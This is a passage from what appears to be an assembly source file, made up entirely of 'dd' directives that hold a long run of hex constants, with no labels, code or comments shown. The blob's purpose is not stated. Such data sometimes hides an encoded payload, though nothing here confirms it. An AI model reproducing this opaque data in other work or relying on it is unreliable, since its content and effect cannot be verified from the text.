70CB9726h, 0F7E59A84h, 0E9D009BEh dd 2F8E5C68h, 0DB29800h, 3AA6D231h, 7E4C0257h, 0FBE517ECh dd 652F78D3h, 61CB643Ch, 3B3ECA61h, 0B72310h, 9BC76260h dd 950F2429h, 816A289Ah, 0E98BBCFDh, 77F8D880h, 4BCB045Ch dd 0BA468F3h, 5B7CF6D9h, 0F17170E0h, 19A7CD00h, 371C8421h dd 1501133Fh, 7CD0F5C9h, 8CD1BCD4h, 0AFF7DD00h, 7FA515C1h dd 2C593E0Eh, 49016E00h, 6958ADAh, 841D3C92h, 940751C4h dd 0AD803083h, 2DFB57CEh, 18685D49h, 8D0056E2h, 0B333CFA1h dd 4A4DC37h, 0EF1B8A58h, 1475BBDDh, 0B0B22CE2h, 1E305E30h dd 52BCFEECh, 450CA4D5h, 50822940h, 2A8287Fh, 4F8B666Dh dd 0A97596DBh, 11549DDCh dd 82809C1Ah, 0FFBBC8E1h, 18787393h, 80DE8FB4h, 7D274BC3h dd 9DFCE62Ah, 0C341444Dh, 5E8F5DD9h, 0F665AC18h, 0F940E483h dd 716B8500h, 9A87FDD3h, 0DC2F13F0h, 0C1900167h, 7DDE277Eh dd 15CAC68h, 0AD1BE565h, 79BF6E80h, 75681038h, 82C8065Eh dd 0F23E89C0h, 0A9BF8059h, 0D6ADE48Fh, 2F8813BEh, 14F4E04Bh dd 6CD72E5Ah, 0A1334FC1h, 37411882h, 884AF957h, 0C64018D4h dd 34368ECh, 0CECA5488h, 0D4C2ABE6h, 1A401C54h, 0B9B511Fh dd 0A1C342EBh, 90984C58h, 0E196F401h, 0BF57894Bh, 0E6C042Fh dd 0ACF8EDDEh, 4AA00144h, 0C4B4178Dh, 78923A78h, 440C5CE4h dd 938A4202h, 0A560766Fh, 8D70007Bh, 0C62002C2h, 0E53237DAh dd 24643175h, 0B0FDF109h, 0AF4F7839h, 39E8C788h, 37000E35h dd 0F1E0CE3Bh, 200F4C0Ah, 208588Ch, 57288306h, 38059477h dd 0A57D30D9h, 1177A8B2h, 0C8DA6F8Ch, 2CB4A066h, 0DC6C03EBh dd 35011846h, 872CCE7h, 0DD982039h, 0F8CE2D40h, 81209CA6h dd 65A78A0Ch, 36ECE072h, 0EDEB3007h, 6A64E1F9h, 0FE86BBBh dd 0C1599253h, 634C4FBDh, 0B30860C6h, 90D3827Ch, 903FCF17h dd 0CF1F8C7Fh, 0D6815AF6h, 0CB75909Fh, 6407CD8h, 5D347AC4h dd 0E4809908h, 4181A07Bh, 193F8BF5h, 0DE1B98C4h, 0D8F4040Bh dd 1E01C8BCh, 8A899833h, 0BD503C5Ah, 0E70930DEh, 0FD2AD00h dd 1F28CB96h, 0DB7C4F57h, 47E425A8h, 8071CF24h, 9B61141Bh dd 72DC3EB7h, 1CA01F25h, 0C04D10E7h, 70FE70CBh, 681DBDD4h dd 6280CC91h, 15BE40DDh, 7659F4EEh, 25F99D04h, 2AA085BBh dd 0D28810CEh, 94FA8DC0h, 85870549h, 3A6FCF6Dh, 8C7BC0h dd 0FD3CA265h, 19314116h, 0EDC89A2Fh, 0FA41EEE8h, 247D3BA3h dd 8A26D9A0h, 4112098h, 3AE86526h, 44656EA5h, 4A61AEE4h dd 8CC83A8Fh, 944400D1h, 1FC890Bh, 6BFA0767h, 0F2A2B01h dd 1C293B23h, 80115C01h, 8806FE81h, 382839h, 6DE54FA3h dd 2B4D7BA4h, 5C34160Ah, 4674C8F9h, 0D9081FCFh, 80396C02h dd 5685A5Dh, 94954E25h, 0F210E2A6h, 99F530B3h, 0D62CE505h dd 0EC810DF1h, 0F900DD6Fh, 0D09CF8C5h, 39ABE88Ch, 460D03B2h dd 4B88504Eh, 0EAC219E8h, 82015F78h, 9F3EECC5h, 842CF7C8h dd 87BC104Ch, 1997718Ch, 88E317B4h, 0B0003A25h, 0EB1B0690h dd 589D29Eh, 0E6F232F4h, 2434E024h, 0B01D01EFh, 6704425Ah dd 0F4DAEEA9h, 180D93Bh, 1F895C9Dh, 443F86A3h, 0AF9A641Ch dd 500547Ah, 0B5F25BB0h, 5200672Ch, 0E8D8BEB9h, 272A26A5h dd 0B4A05D06h, 6FBB427Fh, 8A78F800h, 898117AEh, 49740084h dd 6339FAC2h, 0BE248346h, 382C2890h, 308BB308h, 2F273010h dd 81E4768Ah, 0B00B1D3Bh, 49B2FBCh, 0BFF76880h, 0F9F6079Fh dd 6806F827h, 95FD318h, 57CE17FBh, 0E8169856h, 78466C20h dd 0A5510E36h, 6D816E6Fh, 427CC410h, 5756BDCh, 98E6DD50h dd 7CD669B0h, 0F5166600h, 0A70F39E1h, 0B3FB4A79h, 88A74A94h dd 0D3B86048h, 0AF75008Ch, 0C37A8AB7h, 2303C0DAh, 7D89D3ECh dd 0EBFCC6Dh, 3E10412Ch, 0B4CDC72h, 4EF6DE53h, 0D8CD975Ch dd 0A117CE40h, 8B02177Eh, 1E4800F1h, 815D145Ah, 0FAC9C9Fh dd 79CCA5B3h, 4780A488h, 0DD92D4B0h, 0C12400DBh, 7033544Dh dd 0B701BD82h, 0D3F6595Dh, 8863D00Ah, 0D4F720C5h, 0E080B688h dd 1955B1D0h, 19B7280Fh, 0B39CFCABh, 0A92401B7h, 212B7A3Ch dd 4BD9710h, 0F49830AAh, 2F04A1EDh, 4323214Eh, 0C7E38B4h dd 0F43BA9DAh, 3009C441h, 40930B37h, 13BCF7C8h, 0B989C0C2h dd 514F2790h, 1817F1A0h, 0F93A0769h, 4956508Eh, 83F2AC00h dd 4F977432h, 0C7804060h, 0F004591h, 51FA2816h, 12C6D512h dd 0AC7DDE1Fh, 0F93FC1BCh, 0DB12C084h, 0A9432220h, 0A278B423h dd 0A620D678h, 565BF0A8h, 0A7C90125h, 0EA60231Ah, 5C236F26h dd 82F690F3h, 0AB06048Bh, 0EC191143h, 0A8E72CB0h, 899DC340h dd 5A600D6h, 0CE0B084h, 0EB00FD3Bh, 0E99FB62h, 92D3B1h dd 965936FAh, 34154B25h, 0E05DD480h, 24042D75h, 8BDAAC18h dd 0EC9B6AF7h, 7C801680h, 0F271730h, 44D4E403h, 0AE7424E0h dd 80A092BDh, 390F4BE4h, 0DCC49D06h, 4E01ED71h, 7882FF4Ch dd 85F43AE3h, 0C04297C8h, 8F79E4D9h, 9500A218h, 55D5C621h dd 0F4A168C0h, 1D74B216h, 27CF1F88h, 0A95FE021h, 1EE86941h dd 751F60D3h, 26806143h, 9A94D083h, 500E0EE5h, 57036AD8h dd 28603E8h, 0C35F201Ch, 247C8980h, 0CC448104h, 47211408h dd 83C35706h, 851306BAh, 6017C421h, 1DA59876h, 0C68BF92Ah dd 4A04E8C1h, 5A3F5246h, 54892372h, 42001811h, 341BC352h dd 7518E063h, 0DF1B08E9h, 0F1870069h, 0D5954214h, 0E264F766h dd 59615160h, 4C89C8C3h, 410C76A5h, 588B8051h, 12098CBDh dd 0B4836606h, 0BEA8D82Bh, 9318A42Fh, 3E3307E8h, 6985005Ch dd 5076E22Dh, 31600F52h, 5A10C32Ah, 0F45E7B58h, 1931DC80h dd 18569693h, 23C3725Eh, 1A117489h, 0C3564600h, 0D16D4F9Fh dd 9B9EAE00h, 832FBF66h, 0E5B51AFFh, 2C17AA07h, 0EB811B11h dd 70852DCAh, 0B806F8A6h, 1471B58Bh, 95FF0C52h, 0F90C29D1h dd 0A9ADB070h, 0CB076E6h, 70E61AE4h, 398C5544h, 8914C35Dh dd 45E0806Ch, 0B67BC355h, 8CA6BA00h, 71E4463Eh, 0F61073Ch dd 0A028A83h, 1C465E4Eh, 47214B0Bh, 0F8B1007Fh, 290F4201h dd 0D1A7D8B6h, 6C61817h, 0E989FAC1h, 3D1E190Eh, 0CCC06018h dd 0B2BA78CAh, 0A5C0095Fh, 0AA198AC2h, 0E98B20F8h, 0D6110C60h dd 0B0AE9575h, 4D200E51h, 6F0943C0h, 8D29C28h, 752A268Dh dd 8195291Eh, 56091235h, 9C5110E9h, 0F70D00F0h, 58D4C028h dd 2E18ACBFh, 0F285973h, 1EA3288h, 4780E92Ah, 4795E409h dd 8937C403h, 1315999Dh, 3207B95Ah, 58305002h, 4689E4C3h dd 162244h, 97C35040h, 0C1836910h, 0C1B05BE1h, 0F5C531E0h dd 42C9D120h, 3BFA0213h, 0F7860FD9h, 7433102Ah, 53001846h dd 0EA1E8DB6h, 0D96F8C66h, 5B875146h, 5C8922C3h, 43101D31h dd 9500C353h, 77C2A0B2h, 29B74C46h, 9EEEA788h, 0C18A814Bh dd 70859856h, 0E078AFB7h, 40DF67Ah, 2BFC840Fh, 8F1BE01h dd 0A912C622h, 23F53E0Ch, 1784001Ch, 396437EFh, 0B12CFC14h dd 7FD10A3h, 498D290Eh, 4B5B0C19h, 0C017887Ch, 1DCE5A09h dd 8D896009h, 31DA7B5h, 51E3D63h, 2BF5610Ch, 23CF3AC3h dd 0F7F0F14h, 818413BBh, 7043D83h, 6953445h, 135C020Eh dd 3100097Bh, 5DD2B47Bh, 1A0F2B30h, 72B50B21h, 4AE9AF4Ah dd 0D53CC200h, 31A0208h, 0F53087F2h, 38819690h, 0E43AF959h dd 0E933038Eh, 0B3563339h, 0DA0D000Dh, 9764C566h, 2100041Ch dd 12B1848Ah, 488B5F02h, 1BE8B1C0h, 75CB008Ch, 0BE464968h dd 2B987FAFh, 85A7D8E4h, 4F601A44h, 70059236h, 0C7167531h dd 83037594h, 0D52E27F5h, 1423532Eh, 890F5C04h, 58137C8h dd 6A8427F6h, 0A1EA044Fh, 3F831034h, 71BDACF5h, 40D0D044h dd 0D343850Fh, 0F42D033Fh, 99D5FF6Eh, 884B0A85h, 0A26DC018h dd 0E71B3E0Fh, 0C81B0BE8h, 8D936Ah, 0A7332619h, 966E1FFh dd 11CDBD18h, 588B5E6Ch, 9AA4C4FEh, 4B2FC01Ah, 237E2B4h dd 19485181h, 0C1CCF80Bh, 1AC46B85h, 6DA7860h, 0FD526201h dd 79A7BF8Eh, 90900760h, 200134D2h, 0C0979B5Ch, 50369DA8h dd 0B0C19899h, 0C643247Bh, 0B501DE36h, 0BA4E2E8Eh, 0B5718D28h dd 1C079D9h, 1D612995h dd 1815F181h, 2C52487Fh, 622C0510h, 0E2F065A8h, 87C898ECh dd 0FF3D0796h, 0B0FDCBA7h, 0B5802022h, 0A2E87853h, 0BD88301Bh dd 0D078300h, 0E8AE7CB4h, 4821C009h, 935E0FC2h, 0BBFF210Eh dd 0A8FE613h, 30CA901Fh, 0BFAB2565h, 0E7B143B9h, 640AD680h dd 0E6FAE0A2h, 0BE57045Fh, 87CA68D3h, 8120AFF6h, 93D1EDEEh dd 0A2EB2A53h, 8B9C3017h, 53A2EB01h, 379BD23h, 1B607424h dd 0AE0FE680h, 335198C5h, 0B5FB4182h, 0BD8F1FE1h, 572EEB81h dd 10615827h, 0FFF7AFE9h, 0A26063E3h, 0E4FF3818h, 0E9FD3312h dd 31BDD020h, 51FE98h, 62F2F7B7h, 0C18B3A06h, 217851BBh dd 4FEF4CEAh, 4EB8870h, 616006A1h, 8B7E00CFh, 1040698Dh dd 784E9361h, 67A818A3h, 6100D955h, 0AA76BF2Eh, 0BA1CA07h dd 65858DE2h, 8160CD24h, 6293910h, 906124E8h, 643F0769h dd 139C4050h, 2DF770F5h, 0F9B9B834h, 0E61F6120h, 3AEB8D1h dd 0F5F7BFF3h, 5408280Bh, 84068C0Fh, 0D799B501h, 0C4DE985h dd 0A4EEDEE0h, 756ED860h, 0F8C161CBh, 61615E9h, 18BC3A38h dd 0C123058Ch, 14C0FCADh, 9B40AA9Bh, 305F083h, 0AA1155BFh dd 0F0F8903Bh, 8D7C0F50h, 35BE41C0h, 0FF13E438h, 3EF27266h dd 28A1740h, 19305289h, 3254E85h, 0F28B612Ch, 0FB695C74h dd 55F60708h, 8D6549F8h, 48601464h, 0CA0A9D8Dh, 0D406159Bh dd 410880C8h, 0D3FF0423h, 0E738C8E9h, 83765607h, 59A1FDB6h dd 0A660893Eh, 5197A835h, 2480550Fh, 1D49F146h, 0D785315Fh dd 0A18C4432h, 2DE80D07h, 28815DC0h, 85E2F3EDh, 601CE46Ah dd 22BF2B6h, 0D8F4E05Ch, 9E7A6DBh, 39B4869Eh, 0DC040DBh dd 0A72F4D29h, 500A3B12h, 498D2E02h, 9DB5482Eh, 0E8B9CF5h dd 3288501h, 1EE3810Eh, 0D111B269h, 8DB0B17h, 839F5653h dd 8414578Ah, 1184AE31h, 0F1206616h, 4EE92822h, 0D985100Bh dd 41BC5820h, 426BB01Eh, 4BE9F3BFh, 23C83E36h, 4BE40019h dd 0D3DE31CBh, 0D714D898h, 97385FE7h, 95BDB621h, 20320AC2h dd 0C454A786h, 0E1156017h, 5659629Ch, 81011FC5h, 0A571FF23h dd 2A7CC0CEh, 488CE8C0h, 0DD103ADBh, 0C3F6121Eh, 295A92C2h dd 88F88C46h, 28BBB396h, 0FA26083h, 8C506505h, 0CC03CBFAh dd 49C9654h, 10D5A8A1h, 26471EC7h, 3A245289h, 1182325h dd 1BF32575h, 29E09FE5h, 0C8C601E2h, 0E947A427h, 632B652Eh dd 301CA22Eh, 60019708h, 0FCDE1096h, 89421F6Bh, 9E53C60Bh dd 0E1234938h, 0E681B061h, 0F00A7670h, 4864D042h, 0BD104CF0h dd 71E41407h, 8C17E891h, 0D7953409h, 3B93E48Ch, 0F9006436h dd 38C6DAB8h, 0EA0909AFh, 0E1D17887h, 0D3E9C8h, 0D61F802Dh dd 46B24BADh, 0FCA8910Eh, 6C52E20Dh, 14AA7917h, 4D17C051h dd 9960561Bh, 0B1D6363Ch, 0B73C4968h, 96C78101h, 438FDD1h dd 1A884FCEh, 0B607E6C0h, 78381269h, 124C08B8h, 73924B80h dd 3C260AC8h, 0ED1E762Eh, 0C0FC5D06h, 36129DECh, 24011C89h dd 54A8E681h, 422C5176h, 52279D4h, 0B3CBBF04h, 27B74318h dd 1DB80F58h, 0AD6E008Ch, 0BB7B7E93h, 0CA2CF2AFh, 0B71D9DAEh dd 13B05F8Eh, 1D23093Ah, 3446AF01h, 4084B16Ch, 0C04E294Ch dd 422BD649h, 0B5107BB8h, 204F03C1h, 0E8B7AC54h, 0A2FE4A09h dd 896F0061h, 9325E19Dh, 0A3B52550h, 73708400h, 296ABA6h dd 0B5292E39h, 0ADA22D59h, 0C92E0C87h, 89329982h, 214D6909h dd 7110A93Bh, 5A291815h, 0F51B2097h, 0C900EEBDh, 0A98F8CEDh dd 49317988h, 24498F9Ch, 0F004D9BCh, 48AB90A0h, 890DBFC0h dd 0B6F54DBDh, 0A958BA39h, 38C1BFCh, 7DF66AD7h, 0D0989EB8h dd 42B98D31h, 898BC629h, 44020B95h, 33574C66h, 48B8752Ah dd 2906B15Fh, 1227C59Dh, 0A960BDF0h, 0C1BE5833h, 0B616E0B6h dd 1809168h, 0D0A5CF81h, 5D6C3FB5h, 0B7DEC896h, 7A0A7E72h dd 0E0C01BF0h, 205E0D11h, 9D54A92Ch, 3A114A02h, 0DB5FC9B3h dd 64A4D85Fh, 0E419424h, 0E84C0D20h, 736F806Ch, 0E9F3EF7h dd 0FF2529D5h, 0A055ACA7h, 6160E280h, 73485F5Bh, 1129970Eh dd 125A8C86h, 0F97A0459h, 2988161Dh, 0AA818AD2h, 6D3071CEh dd 0B850D428h, 8018C1Bh, 0D43BB9AAh, 0B06B78C1h, 926BD67h dd 5B92B82Bh, 28780FC7h, 172520E1h, 59C32B24h, 241A4674h dd 6902EBB5h, 0D3E95F11h, 0D26010FBh, 1A23412Eh, 0ABEEEF00h dd 27AE781Eh, 0D720E9C7h, 0ECA69A49h, 61F8D507h, 4FE4811Fh dd 19C88C8Fh, 39F8BDC0h, 9CD402A8h, 1FA6BE66h, 2BD98F82h dd 30A77CD2h, 3E621444h, 756D8061h, 0D3FE3CCEh, 1B23F92Eh dd 5F879700h, 251FDBCFh, 6F0B5E5Bh, 34194991h, 0FB7D7F13h dd 3DD77E4Dh, 0EDC0E903h, 3FE6C056h, 951D09A0h, 9D09994Ah dd 4F192B35h, 823A403h, 0FF1F08BDh, 0E48A4725h, 85366018h dd 0FBEF28ABh, 231920CCh, 0BF601096h, 58772638h, 89580E50h dd 0F9C16293h, 0BE02B7CCh, 428A262Bh, 5D190h, 0FF41841Ah dd 0BA17479Bh, 0D70991C7h, 0AE3F18F7h, 175E07ABh, 0B7FA4159h dd 0F0857B4Fh, 0B369038Fh, 0A810F824h, 230F2D6Dh, 0C79698Dh dd 75CC5061h, 3DF8899Ch, 90E2649h, 0CF02B5BDh, 0ACF64636h dd 0C97AFA66h, 353FA16Fh, 59950640h, 85318028h, 136920h dd 0DC8A5260h, 0F48BFFBBh, 815E3900h, 736BB3D7h, 6FB7162Eh dd 83F23061h, 0E512A08Bh, 1DB6510Ah, 594E5FE0h, 24027A3Fh dd 0DE4DC2h, 8E06BEDFh, 6055A7B9h, 87E852h, 0B2A4892Fh dd 0E486F99h, 4FD4C9D7h, 84C737A0h, 7302231Ch, 5A53446Bh dd 0F795E15Eh, 75F89D43h, 0E2FFE8E6h, 8F2958F9h, 41C18973h dd 41561A0h, 661E42F3h, 0BC0B14BFh, 3C41793Ah, 0F05CD811h dd 0B1BF0450h, 0B14E3873h, 0F0032666h, 1C9A6E7Ah, 4CA39605h dd 0F360535Eh, 0A4505F6Ch, 55214F99h, 0E8BDB7FFh, 1F20B370h dd 1B6D28E3h, 48117B6Ah, 15ECE316h, 52B34F8Ch, 0ED46FF6h dd 25C7902Ch, 0CF1C4814h, 50243250h, 129FA5D3h, 84801D11h dd 0F38A16F8h, 1846763Fh, 7DFEC223h, 869FB619h, 6065D1F6h dd 69E2808Dh, 3B174103h, 6062876Ch, 0E6090735h, 0C6810F36h dd 3C8B0DC5h, 0BF49204Ch, 12952DF0h, 0DC3E541Dh, 0CF189200h dd 122297FAh, 0E27D6155h, 68D1A4C7h, 7BEC737h, 0E97B7A30h dd 7028B4F8h, 0F9821F1Bh, 2986E20Eh, 9D13C97Ah, 0D5DD13DDh dd 0AB25CF39h, 17402566h, 99BD1383h, 57D5C81Dh, 9DF627D2h dd 0A5E95EE0h, 3E6F13D2h, 17BEFE00h, 99F6AEB9h, 4E40E84Ah dd 0CC78DC19h, 5FA701D3h, 0DD8589AFh, 0DC6A716h, 1B3CC8E3h dd 7804B9D0h, 0D21747B9h, 6F9FE9DFh, 0D8801B11h, 0D73059B4h dd 0E219C113h, 0EF50906h, 0D3418484h, 8F789E32h, 40A2A087h dd 249482BCh, 20543F17h, 76B8BEEDh, 0DD011946h, 0F8E51ECEh dd 45752191h, 2A030BE8h, 0FA1474Eh, 12C97DA9h, 823ADB8Ch dd 5051623h, 61A2082Ch, 53035F22h, 0D92D5CBEh, 2260D778h dd 945629CFh, 0BD2B61D1h, 90076431h, 0FE8B501Dh, 4674EA26h dd 0D2D5001Ch, 0B98D3374h, 24B7164h, 0B2ECC8BFh, 0D690E808h dd 38095D4Ah, 64F6688Ch, 0D8F10088h, 0F504B02Eh, 5F7E363Ch dd 7C81F26Fh, 2F372Dh, 0BC46E715h, 0F120BD29h, 70E60B14h dd 98C8B523h, 769C71E4h, 75D3727h, 0D0F7C988h, 0CFAC235h dd 12F56027h, 204B7671h, 0C4B384F5h, 1316ED8Ch, 1BE257B3h dd 9EE30h, 10C0843Bh, 0F18B07D8h, 0BE00749Ch, 3326B91Ch dd 0E33FB2Bh, 69301DA2h dd 0A5AC018Fh, 0CD9FE6F6h, 0BFD16006h, 50172B7Dh, 40D1880Fh dd 1A68FB8Bh, 0A9BC874Dh, 3AE4A802h, 418B0108h, 7A290F47h dd 0C8BCFFD1h, 280B7A13h, 66FE490Bh, 9D2917DCh, 0DD3053D9h dd 0A81E2D5Eh, 5EBC029Ch, 0BB5662A2h, 494DF685h, 809DB0F0h dd 0E7801D91h, 8E40C4C2h, 6A519304h, 5D848AA0h, 8DC093DBh dd 0FA475B96h, 9E24DF78h, 60011773h, 10E905B0h, 842D9Eh dd 80A9379Ah, 51003BA4h, 1D594BA2h, 483EBAECh, 81019661h dd 0D777B2EFh, 2448695Fh, 5AAC071Dh, 7AA37FDEh, 0CAC70042h dd 0BD687961h, 25C013E9h, 719CB995h, 72CBFED1h, 84120016h dd 941A6F9h, 0D224DB64h, 14AEE14Ah, 32F805DCh, 0C5B28557h dd 893CD3C7h, 6928D9B1h, 0B5298159h, 84391E99h, 15A2DE53h dd 2678B330h, 8000F98Bh, 86BAEE81h, 0E19225A4h, 320922A0h dd 0CDE28B82h, 0CF5CC018h, 0F705B41Eh, 0E9952960h, 0D953B7D2h dd 615F892Ah, 31850781h, 4394521h, 1F0132F1h, 70F5BD09h dd 401CB4C6h, 0A9D7A8E2h, 0B57BE000h, 0BBBC2781h, 4C89B43Eh dd 1C41C574h, 854C6F3Ch, 4F2DC910h, 2FFF394Dh, 3044333Ch dd 9D820027h, 0D6715B58h, 701612DFh, 3E88A6B1h, 0DB2BD5AEh dd 4502C7BCh, 6A184759h, 8346B1h, 0A9E54939h, 68F598E6h dd 1A17C91Dh, 0BFE8F242h, 0F9FCCC0h, 0C8F78166h, 3A5B5B6Bh dd 7FC77B70h, 0BF8D0208h, 3E90AB03h, 2A563D42h, 81C32B80h dd 2D1143CFh, 4D316951h, 0F2B2732Dh, 858B3016h, 0BDC2AE4Ah dd 38E90217h, 59BEC790h, 0C0525A7Fh, 301CE22Fh, 0B900BE48h dd 0A558E777h, 0C8518BEAh, 98906B4h, 0BC0CFA95h, 6F5F39A2h dd 0A8FE0079h, 0EFAB463h, 85C72537h, 0EF3D2468h, 375B2725h dd 0C88813B2h, 86387E99h, 5FAE027Ch, 61CE15ACh, 9A256906h dd 17EC4E3Ch, 0EDF90B8Ch, 7E02B9BCh, 4BD31E85h, 134FB16Fh dd 250ECA45h, 0C9FF68E8h, 903200D3h, 436E55ADh, 6502B316h dd 0E5D0494Ah, 8570607Ah, 5E264061h, 0F34983B1h, 98BD53A2h dd 6BBB90DFh, 0F06B78h, 49A834A2h, 810FC586h, 0B6A81294h dd 6E170A02h, 0DE5E522Bh, 0AE71DC18h, 50B45D2Bh, 28AF158h dd 7F76BAF4h, 969DCF29h, 8C801911h, 5D09780Fh, 0DAE9F529h dd 1CDDAF00h, 1D99A4Ah, 30CB3C18h, 0DC90D789h, 762C413Dh dd 0E425B752h, 0ABA40126h, 0B5037BB3h, 5E19347Dh, 885AD8F9h dd 9506F4Ch, 37803CCFh, 0CA71874Eh, 0EC5644EBh, 0FD1E8026h dd 1D755762h, 44718A5Ch, 0ED5F4FFAh, 88B80Bh, 9A19C9D2h dd 0E681B2D6h, 52E01202h, 0D02CE901h, 0E348AD62h, 0DEE852F4h dd 5D4830B4h, 6860270Eh, 1361FC05h, 0E7FFFEB9h, 8F32A01Bh dd 0AC08247Fh, 2D351CA5h, 1A714FA2h, 0A3C15004h, 21C4586Dh dd 30DD308Dh, 29D9BD25h, 49181383h, 80389E23h, 0D816C6F0h dd 33CE045Dh, 0D42205BDh, 76395549h, 80037BCh, 6B20B14h dd 40F340Ah, 0E183FEBFh, 247C201h, 95DE8B23h, 0B90E647Eh dd 46CE1E84h, 390E80Bh, 58037F5Fh, 0D5D099CDh, 3C60AFC4h dd 4D9D0B2Eh, 5F0A7BF1h, 974CD98Bh, 88D8CF44h, 7FA2C019h dd 3112A7A5h, 9DE4E8E2h, 2B0300C0h, 0F305394Fh, 0F572DE7Bh dd 21E0CF00h, 9DD17ACEh, 191309BBh, 428A4B1Ch, 121710C9h dd 37756061h, 0F0A023F6h, 3F0BE4CBh, 2E611DEh, 0A2A15DAh dd 2ED90821h, 0D16467Ch, 48F94E3Fh, 0BEC3406Ah, 5BAA0D0Eh dd 63E1BF05h, 0F1046CA9h, 7B2ED9h, 92327535h, 2D8B6BB4h dd 9C42B195h, 0D26DD19h, 90A82A6Dh, 51467201h, 2E70A987h dd 0DAC25820h, 65F4D8B8h, 0AFFF01F4h, 6D4DA76h, 8DF82034h dd 2079120h, 0E584D281h, 64A44685h, 16233F23h, 0E07FF700h dd 24D8D2BAh, 21204856h, 1819715Dh, 49A39477h, 8DC17D04h dd 80C93844h, 0F4259CADh, 4D68484Fh, 9F000A22h, 89D57F92h dd 32F81F82h, 5A4A59EBh, 8803DFA4h, 1347DD40h, 0B50593B0h dd 8223ED80h, 85003766h, 0A61D1BCBh, 0ADD9BADh, 8B7BA9D0h dd 8E4D693Ah, 59B03943h, 8180AC05h, 9D451FEFh, 21E73B53h dd 181DF925h, 63ED0096h, 17623DABh, 0E22ADD4Dh, 1998768Bh dd 85325124h, 0E3530CE4h, 10033EB6h, 0A511FD9h, 2027206Eh dd 0E4002EC4h, 53170830h, 5365A233h, 800AF75Fh, 0AB232C4h dd 83C1E19h, 8B0C2A49h, 5BF51CFAh, 8009DE14h, 0E966B6BAh dd 222E255Ah, 570288E4h, 9EF62DF5h, 21C5693h, 5BBA32C7h dd 2E90848Dh, 1923163Bh, 71C9FA00h, 9069F7D4h, 2F1530CCh dd 20259DDFh, 0B44ABAEh, 19BD128Bh, 0E0E2D021h, 4CF762A5h dd 0FA55B781h, 0BB28C21Ch, 0DE172Ch, 9376E6EFh, 55858B19h dd 2E310C40h, 9F1DD1BDh, 0FA3A25C7h, 96701E7Bh, 0C06C0335h dd 0A223BDE8h, 870F50B8h, 0DE8A63A0h, 96E614Ah, 9FBF4D00h dd 0C5B5296Ch, 0EB015EBCh, 0E99D6107h, 0E4BDC7C2h, 18E36116h dd 70A953E6h, 7C009921h, 1EFCA5Dh, 951381B5h, 1BA79A7h dd 0EDF01130h, 937BBEAh, 214C283h, 0F0F1D83h, 8D82FC3Fh dd 162CB085h, 0FF64E1E0h, 0DD6C3551h, 7D073589h, 2B588320h dd 0F01A2DC2h, 38813440h, 1F5A4D24h, 1761211h, 33C50B7h dd 0D93A81D0h, 84199345h, 842DBA23h, 49E945F0h, 8B12DED9h dd 24D7C2C8h, 3C400301h, 22E44FAAh, 0EBF31BA5h, 11811210h dd 5BF8051Bh, 30C1C0Ch, 6FC120D1h, 86C4D2Dh, 7406512h dd 58F2864h, 0C483166Dh, 51C78804h, 5AC8B4Ch, 0B0A98110h dd 59B51418h, 0C3C00533h, 0D6EDBD83h, 2444E116h, 0C1852FC6h dd 68478500h, 9A02A7D2h, 1B5FFD4h, 87D15631h, 6F15827Ah dd 6270D08Bh, 0D8241E9h, 0D3EB8020h, 0B5BD2B60h, 7EC19C30h dd 7E031446h, 2C35B966h, 2F01B811h, 12097518h, 74882149h dd 53503019h, 438B86Ch, 35AAA4B5h, 9D0699B9h, 0BC14AD09h dd 585BD315h, 21178822h, 0A9F8E220h, 0B5B50930h, 6C04F729h dd 92E8E8FDh, 0B3C95A0Ch, 130C4EE8h, 0E04FE696h, 0C065Ch dd 49C127CCh, 11B58B5Dh, 0A410D6ABh, 233E0841h, 752AE518h dd 0D48207D2h, 0FEEE407Fh, 373D387Eh, 5F6401B7h, 0DC1A8CC2h dd 25B14688h, 0D4D9B902h, 3503C8DDh, 0AA51C829h, 3D20F9Eh dd 13FA9D33h, 2114C13Eh, 0E097E1DBh, 461AE580h, 56388EE8h dd 7A16DE6Ah, 1BB4E812h, 4FDE0075h, 0E92C5432h, 7C0545D0h dd 0B4F84249h, 601A7EF3h, 0DD435A61h, 36EC15Ah, 0BB8B4C00h dd 85317B1Fh, 8634512Ah, 0DBD5246Bh, 298273FDh, 8920ECC0h dd 0C4DD6703h, 79EB8A15h, 10C40B0h, 16E99526h, 0EA133193h dd 0FDE625D3h, 0FFE87BBDh, 0E7B94E02h, 0C88D7FFAh, 0C4B42FFAh dd 0FD2B197Ch, 68E80Fh, 3B177B3h, 0F9CE62AAh, 0AD90E832h dd 91EDC250h, 42735E90h, 4BBF9900h, 0A5CF524h, 0A920A390h dd 4BCAD42Ah, 0CE242927h, 64A888E5h, 108559D4h, 0C58421B1h dd 8D030431h, 660C8AFDh, 498E5CBEh, 0DA6E37D7h, 3A07DA01h dd 7EDBE049h, 0ABED7D0Dh, 98088947h, 24318861h, 400D4F95h dd 85418ACCh, 69097C00h, 0E8B1FA19h, 0D0054FEAh, 0FBE4DEE9h dd 2D796AC5h, 297D7F04h, 2DD4E806h, 0C61DBB81h, 19B11183h dd 4AA0B376h, 0CF608B66h, 876CD956h, 3FB568E8h, 1F1515C7h dd 0B929A512h, 25E847h, 0C6F7EBFEh, 6A9772F3h, 6B80E835h dd 0CFE0D7E6h, 0F392F583h, 30D9326Fh, 0CFBF839Dh, 655B4EE8h dd 73835DDBh, 0F2ADF609h, 1F160080h, 22A18A2Ch, 0B46E06ACh dd 88905287h, 0BD31F12Dh dd 30BE16D5h, 1D2E2FE8h, 61B5DB00h, 10D4BCF2h, 8136000Ch dd 329DCC22h, 803CB80Ah, 0DCE816D9h, 0BE075952h, 42E4EB1Dh dd 0C8165BECh, 864495Fh, 1C642167h, 0E63C4560h, 137410BDh dd 619D2429h, 49C4238h, 1C2BD57h, 3AA1322Ah, 84EB78A3h dd 958762B1h, 9F8383DBh, 0A1C627B6h, 5832E3Dh, 9C7D42ECh dd 236D3BBBh, 313D0416h, 49AC8118h, 56F5020Bh, 79FA2372h dd 42C23403h, 67C8104Ah, 4AC50980h, 2A042960h, 0BD01041Ch dd 26F907C5h, 1ECC1851h, 0C4654B20h, 2BF6F58h, 0C321751h dd 2D905D58h, 558218EDh, 1374410h, 6105ABECh, 0D82B6E08h dd 0C23E376Bh, 85EC360Eh, 1562D180h, 0F4B82AD9h, 5046EB0Fh dd 5BF092B1h, 0A98D1233h, 0B586E81Dh, 0CFA01FA6h, 9000C8A9h dd 0C1815043h, 2685755Eh, 11865B47h, 8DFC0501h, 29959195h dd 0D2E0B0F6h, 6600CED5h, 0D3BAFB71h, 25C1B1F5h, 764D1A89h dd 20FDF0C9h, 89172719h, 